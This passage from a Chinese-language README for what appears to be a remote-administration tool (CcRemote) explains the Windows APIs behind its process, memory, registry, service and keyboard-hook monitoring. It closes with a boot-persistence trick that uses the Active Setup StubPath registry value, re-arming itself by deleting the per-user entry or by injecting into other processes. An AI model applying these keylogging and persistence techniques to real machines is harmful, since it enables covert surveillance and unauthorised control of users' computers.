DWORD th32ProcessID // 一个进程ID号,为0可获取所有或当前快照
|
||||
);
|
||||
```
|
||||
通过函数CreateToolhelp32Snapshot获取的快照句柄使用Process32First、Process32Next遍历所有进程的PROCESSENTRY32信息
|
||||
再通过GetProcessFullPath获取进程路径等信息。
|
||||
|
||||
###### 下面的方法可以获取进程内存列表、模块等信息,不过没有加入到项目中:
|
||||
|
||||
###### 获取进程模块信息使用到的API:
|
||||
|
||||
```c
|
||||
HANDLE WINAPI OpenProcess(
|
||||
__in DWORD dwDesiredAccess, // 打开的标识
|
||||
__in BOOL bInheritHandle, // 是否继承句柄
|
||||
__in DWORD dwProcessId // 被打开的进程句柄
|
||||
);
|
||||
//枚举进程里的模块
|
||||
BOOL WINAPI EnumProcessModules(
|
||||
__in HANDLE hProcess, // 进程句柄
|
||||
__out HMODULE* lphModule, // 返回进程里的模块
|
||||
__in DWORD cb, // 模块的个数
|
||||
__out LPDWORD lpcbNeeded // 存储的模块的空间大小
|
||||
);
|
||||
//得到模块的名字
|
||||
DWORD WINAPI GetModuleFileNameEx(
|
||||
__in HANDLE hProcess, // 进程的句柄
|
||||
__in HMODULE hModule, // 模块的句柄
|
||||
__out LPTSTR lpFilename, // 返回模块的名字
|
||||
__in DWORD nSize // 缓冲区大小
|
||||
);
|
||||
```
|
||||
|
||||
###### 获取进程所有内存信息:
|
||||
|
||||
```c
|
||||
//枚举指定进程所有内存块
|
||||
//assert(hProcess != nullptr);
|
||||
//参数:
|
||||
// hProcess: 要枚举的进程,需拥有PROCESS_QUERY_INFORMATION权限
|
||||
// memories: 返回枚举到的内存块数组
|
||||
//返回:
|
||||
// 成功返回true,失败返回false.
|
||||
static bool EnumAllMemoryBlocks(HANDLE hProcess, OUT vector<MEMORY_BASIC_INFORMATION>& memories) {
|
||||
// 如果 hProcess 为空则结束运行
|
||||
assert(hProcess != nullptr);
|
||||
|
||||
// 初始化 vector 容量
|
||||
memories.clear();
|
||||
memories.reserve(200);
|
||||
|
||||
// 获取 PageSize 和地址粒度
|
||||
SYSTEM_INFO sysInfo = { 0 };
|
||||
GetSystemInfo(&sysInfo);
|
||||
/*
|
||||
typedef struct _SYSTEM_INFO {
|
||||
union {
|
||||
DWORD dwOemId; // 兼容性保留
|
||||
struct {
|
||||
WORD wProcessorArchitecture; // 操作系统处理器体系结构
|
||||
WORD wReserved; // 保留
|
||||
} DUMMYSTRUCTNAME;
|
||||
} DUMMYUNIONNAME;
|
||||
DWORD dwPageSize; // 页面大小和页面保护和承诺的粒度
|
||||
LPVOID lpMinimumApplicationAddress; // 指向应用程序和dll可访问的最低内存地址的指针
|
||||
LPVOID lpMaximumApplicationAddress; // 指向应用程序和dll可访问的最高内存地址的指针
|
||||
DWORD_PTR dwActiveProcessorMask; // 处理器掩码
|
||||
DWORD dwNumberOfProcessors; // 当前组中逻辑处理器的数量
|
||||
DWORD dwProcessorType; // 处理器类型,兼容性保留
|
||||
DWORD dwAllocationGranularity; // 虚拟内存的起始地址的粒度
|
||||
WORD wProcessorLevel; // 处理器级别
|
||||
WORD wProcessorRevision; // 处理器修订
|
||||
} SYSTEM_INFO, *LPSYSTEM_INFO;
|
||||
*/
|
||||
|
||||
//遍历内存
|
||||
const char* p = (const char*)sysInfo.lpMinimumApplicationAddress;
|
||||
MEMORY_BASIC_INFORMATION memInfo = { 0 };
|
||||
while (p < sysInfo.lpMaximumApplicationAddress) {
|
||||
// 获取进程虚拟内存块缓冲区字节数
|
||||
size_t size = VirtualQueryEx(
|
||||
hProcess, // 进程句柄
|
||||
p, // 要查询内存块的基地址指针
|
||||
&memInfo, // 接收内存块信息的 MEMORY_BASIC_INFORMATION 对象
|
||||
sizeof(MEMORY_BASIC_INFORMATION32) // 缓冲区大小
|
||||
);
|
||||
if (size != sizeof(MEMORY_BASIC_INFORMATION32)) { break; }
|
||||
|
||||
// 内存块属性memInfo保存一些内存块信息可以从这里判断获取
|
||||
if (memInfo.Protect == PAGE_EXECUTE_READWRITE)
|
||||
if (memInfo.State == MEM_COMMIT)
|
||||
if (memInfo.Type == MEM_PRIVATE)
|
||||
memories.push_back(memInfo);// 将内存块信息追加到 vector 数组尾部
|
||||
|
||||
// 移动指针
|
||||
p += memInfo.RegionSize;
|
||||
}
|
||||
|
||||
return memories.size() > 0;
|
||||
}
|
||||
```
|
||||
|
||||
#### 3 注册表监控
|
||||
通过RegOpenKeyEx打卡一个注册表项得要打开项的句柄PHKEY phkResult 利用这个句柄来获取子项和信息
|
||||
```c
|
||||
LONG WINAPI RegOpenKeyEx(
|
||||
_In_ HKEY hKey, // 需要打开的主键的名称
|
||||
_In_opt_ LPCSTR lpSubKey, // 需要打开的子键的名称
|
||||
_In_opt_ DWORD ulOptions, // 保留 设为零
|
||||
_In_ REGSAM samDesired, // 安全访问标记 也就是权限
|
||||
_Out_ PHKEY phkResult // 得到的将要打开键的句柄
|
||||
);
|
||||
```
|
||||
|
||||
得到PHKEY句柄后使用API RegQueryInfoKey获取该项信息
|
||||
```c
|
||||
LONG WINAPI RegQueryInfoKey( // 获取某项有关的信息
|
||||
_in HKEY hKey, // 已打开项的句柄 或指定一个标准项名
|
||||
_out LPTSTR lpClass, // 指定一个字串 用于装载这个注册表项的类名
|
||||
_in_out LPDWORD lpcClass, // 指定一个变量 用于装载lpClass缓冲区的长度。一旦返回 它会设为实际装载到缓冲区的字节数量
|
||||
LPDWORD lpReserved, // 未用 设为零
|
||||
_out LPDWORD lpcSubKeys, // 用于装载(保存)这个项的子项数量的一个变量
|
||||
_out LPDWORD lpcMaxSubKeyLen, // 指定一个变量 用于装载这个项最长一个子项的长度。注意这个长度不包括空中止字符
|
||||
_out LPDWORD lpcMaxClassLen, // 指定一个变量 用于装载这个项之子项的最长一个类名的长度。注意这个长度不包括空中止字符
|
||||
_out LPDWORD lpcValues, // 用于装载这个项的设置值数量的一个变量
|
||||
_out LPDWORD lpcMaxValueNameLen, // 指定一个变量 用于装载这个项之子项的最长一个值名的长度。注意这个长度不包括空中止字符
|
||||
_out LPDWORD lpcMaxValueLen, // 指定一个变量 用于装载容下这个项最长一个值数据所需的缓冲区长度
|
||||
_out LPDWORD lpcbSecurityDescriptor, // 装载值安全描述符长度的一个变量
|
||||
_out PFILETIME lpftLastWriteTime // 指定一个结构 用于容纳该项的上一次修改时间
|
||||
);
|
||||
```
|
||||
|
||||
通过RegQueryInfoKey获取到lpcSubKeys子项数量同于RegEnumKeyEx的DWORD dwIndex,参数进行循环遍历得到索引项名LPTSTR lpName
|
||||
```c
|
||||
LONG WINAPI RegEnumKeyEx( // 枚举指定项下方的子项
|
||||
_in HKEY hKey, // 一个已打开项的句柄,或者指定一个标准项名
|
||||
_in DWORD dwIndex, // 欲获取的子项的索引。第一个子项的索引编号为零
|
||||
_out LPTSTR lpName, // 用于装载指定索引处项名的一个缓冲区
|
||||
_in_out LPDWORD lpcName, // 指定一个变量,用于装载lpName缓冲区的实际长度,含空字符。一旦返回,它会设为实际装载到lpName缓冲区的字符数量
|
||||
LPDWORD lpReserved, // 未用,设为零
|
||||
_in_out LPTSTR lpClass, // 项使用的类名
|
||||
_in_out LPDWORD lpcClass, // 用于装载lpClass缓冲区长度的一个变量。
|
||||
_out PFILETIME lpftLastWriteTime // 枚举子项上一次修改的时间
|
||||
);
|
||||
```
|
||||
|
||||
使用API RegEnumValue 获取键值内容 以及获取lpType判断类型、lpData获取内容
|
||||
```c
|
||||
LONG WINAPI RegEnumValue( // 读取键值
|
||||
_In_ HKEY hKey, // 一个已打开项的句柄,或者指定一个标准项名
|
||||
_In_ DWORD dwIndex, // 欲获取值的索引。注意第一个值的索引编号为零
|
||||
_Out_writes_to_opt_(*lpcchValueName,*lpcchValueName + 1) LPSTR lpValueName, // 用于装载位于指定索引处值名的一个缓冲区
|
||||
_Inout_ LPDWORD lpcchValueName, // 用于装载lpValueName缓冲区长度的一个变量。一旦返回,它会设为实际载入缓冲区的字符数量
|
||||
_Reserved_ LPDWORD lpReserved, // 未用 设为零
|
||||
_Out_opt_ LPDWORD lpType, // 用于装载值的类型代码的变量
|
||||
_Out_writes_bytes_to_opt_(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData, // 用于装载值数据的一个缓冲区
|
||||
_Inout_opt_ LPDWORD lpcbData // 用于装载lpData缓冲区长度的一个变量。一旦返回,它会设为实际载入缓冲区的字符数量
|
||||
);
|
||||
```
|
||||
|
||||
#### 4 服务监控
|
||||
|
||||
建立一个连接到服务控制管理器,并打开指定的数据库
|
||||
```c
|
||||
SC_HANDLE WINAPI OpenSCManager(
|
||||
__in LPCTSTR lpMachineName, // 指向零终止字符串 名为目标计算机
|
||||
__in LPCTSTR lpDatabaseName, // 指向零终止字符串 名称的服务控制管理数据库
|
||||
__in DWORD dwDesiredAccess // 指定服务的访问控制管理
|
||||
);
|
||||
```
|
||||
|
||||
由OpenSCManager返回的句柄做参数使用API EnumServicesStatus枚举系统当前服务信息
|
||||
```c
|
||||
BOOL WINAPI EnumServicesStatus( // 枚举当前系统服务
|
||||
_in SC_HANDLE hSCManager, // 打开的服务管理的句柄
|
||||
_in DWORD dwServiceType, // 所要枚举服务的类型
|
||||
_in DWORD dwServiceState, // 所要枚举服务的状态
|
||||
_out LPENUM_SERVICE_STATUS lpServices, // 指向转载枚举服务的缓冲区
|
||||
_in DWORD cbBufSize, // 缓冲区大小
|
||||
_out LPDWORD pcbBytesNeeded, // 如果提供的缓冲区太小 那么这里将返回需要的缓冲区大小
|
||||
_out LPDWORD lpServicesReturned, // 服务的个数 枚举每个服务信息时用到
|
||||
_in_out LPDWORD lpResumeHandle // 返回枚举是否成功
|
||||
);
|
||||
```
|
||||
|
||||
通过api EnumServicesStatus得到的lpServicesReturned数量、lpServices缓冲区遍历服务,OpenService获取服务句柄
|
||||
```c
|
||||
SC_HANDLE OpenService( // 获取服务句柄
|
||||
SC_HANDLE hSCManager, // 服务控制管理器数据库的句柄
|
||||
LPCSTR lpServiceName, // 要打开的服务的名称
|
||||
DWORD dwDesiredAccess // 访问服务权限
|
||||
);
|
||||
```
|
||||
|
||||
根据获取到的服务句柄调用API QueryServiceConfig获取服务信息
|
||||
```c
|
||||
BOOL WINAPI QueryServiceConfig(
|
||||
_in SC_HANDLE hService, // 指向要检索的服务
|
||||
_out LPQUERY_SERVICE_CONFIG lpServiceConfig, // 指向包含服务信息的缓冲区指针
|
||||
_in DWORD cbBufSize, // 缓冲区大小
|
||||
_out LPDWORD pcbBytesNeeded // 实际需要的缓冲区大小
|
||||
);
|
||||
```
|
||||
#### 5 键盘监控
|
||||
###### 键盘钩子
|
||||
|
||||
windows系统是建立在事件驱动的机制上,整个系统都是通过消息传递来实现的,而钩子是windows系统中非常重要的系统接口,用它可以截获并处理发送给其他进程的消息来实现诸多功能,钩子种类很多,每种钩子可以截取相应的消息,例如键盘钩子截取键盘消息等等。
|
||||
|
||||
全局钩子运行机制,通过系统调用,将狗子挂入系统,每当特定消息发出,在消息没有到达目标窗口之前,钩子就会先行捕获到消息。这时钩子回调函数可以对消息进行操作,然后继续传递该消息,也可结束该消息的传递。每种类型的钩子都会由系统来维护一个钩子链,并且最后安装的钩子在链子的开始,最先安装的在最后。实现win32的系统钩子,必须调用API函数SetWindowsHookEx来安装这个函数
|
||||
|
||||
###### 安装钩子
|
||||
```c
|
||||
HHOOK WINAPI SetWindowsHookEx(
|
||||
__in int idHook, \\ 钩子类型
|
||||
__in HOOKPROC lpfn, \\ 回调函数地址
|
||||
__in HINSTANCE hMod, \\ 实例句柄 (包含钩子函数的模块句柄)
|
||||
__in DWORD dwThreadId); \\ 线程ID (指定监视的线程,如果指定确定的线程,即为线程专用钩子;如果指定为空,即为全局钩子。)
|
||||
```
|
||||
几点需要说明的地方:
|
||||
(1) 如果对于同一事件(如键盘消息)既安装了线程钩子又安装了系统钩子,系统会优先调用线程钩子,然后调用系统钩子。
|
||||
(2) 对同一事件消息可安装多个钩子处理过程,这些钩子处理过程形成了钩子链。处理顺序是先安装的后处理,后安装的先处理。
|
||||
(3) 钩子特别是系统钩子会消耗消息处理时间,降低系统性能。只有在必要的时候才安装钩子,在使用完毕后要及时卸载。
|
||||
###### 定义钩子回调
|
||||
|
||||
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam)
|
||||
|
||||
我们先在钩子函数中实现自定义的功能,然后调用函数 CallNextHookEx 把钩子信息传递给钩子链的下一个钩子函数。
|
||||
|
||||
LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam )
|
||||
|
||||
参数 hhk是钩子句柄。nCode、wParam和lParam 是钩子函数。
|
||||
当然也可以通过直接返回TRUE来丢弃该消息,就阻止了该消息的传递。
|
||||
|
||||
当不再使用钩子时,必须及时卸载。简单地调用下面的函数即可。
|
||||
|
||||
BOOL UnhookWindowsHookEx( HHOOK hhk)
|
||||
|
||||
值得注意的是线程钩子和系统钩子的钩子函数的位置有很大的差别。
|
||||
线程钩子一般在当前线程或者当前线程派生的线程内,而系统钩子必须放在独立的动态链接库中。
|
||||
|
||||
|
||||
#### active启动方式
|
||||
win7 64下
|
||||
|
||||
64位程序注册表位置 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components
|
||||
32位重定位注册表位置 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
|
||||
|
||||
例如{052860C8-3E53-3D0B-9332-48A8B4971352}
|
||||
|
||||
Active Setup是微软使用此键来安装windows组件,可以在这个位置下看到已安装组件得列表,每个组件都有一个值,windows使用这些值来识别组件。其中StubPath是其中最重要的一项,它包含一个命令,windows每次启动都会执行这个命令。
|
||||
|
||||
创建一个(在64位位置,需要根据启动程序而定){052860C8-3E53-3D0B-9332-48A8B4971352} StubPath 项为REG_EXPAND_SZ类型 calc.exe
|
||||
|
||||
1 重启计算机后,calc便会启动,但是启动后,程序执行会造成电脑卡住,无法进入系统,必须要退出程序才能执行。
|
||||
2 并且再次启动calc不会再启动了这是因为在user同位置的active setup下有相同的guid,将其删除再次重启就会启动了。
|
||||
|
||||
所以每次执行要将user位置guid删除,并且程序通过再次启动自己或者注入到其他进程来解决上面的两个问题。
|
||||
|
||||
|
||||
|
||||
|
||||
<img align="right" src="https://github.com/Cc28256/CcRemote/blob/master/readme/help.png"/>
|
||||
|
||||
|
||||
## 喜欢的话点个Star哦
|
||||
|
||||
##### 这个项目花了2个月的时间来进行源码阅读和编译
|
||||
|
||||
##### 如果存在bug可以留言给我,我将尝试着将它修复
|
||||
|
||||
##### 免杀过程将不会在这记录,我不会去免杀该项目
|
||||
|
||||
##### 项目仅供技术探讨,请勿用于非法用途
|
||||
|
||||
|
||||
### -------------Thank You-------------
|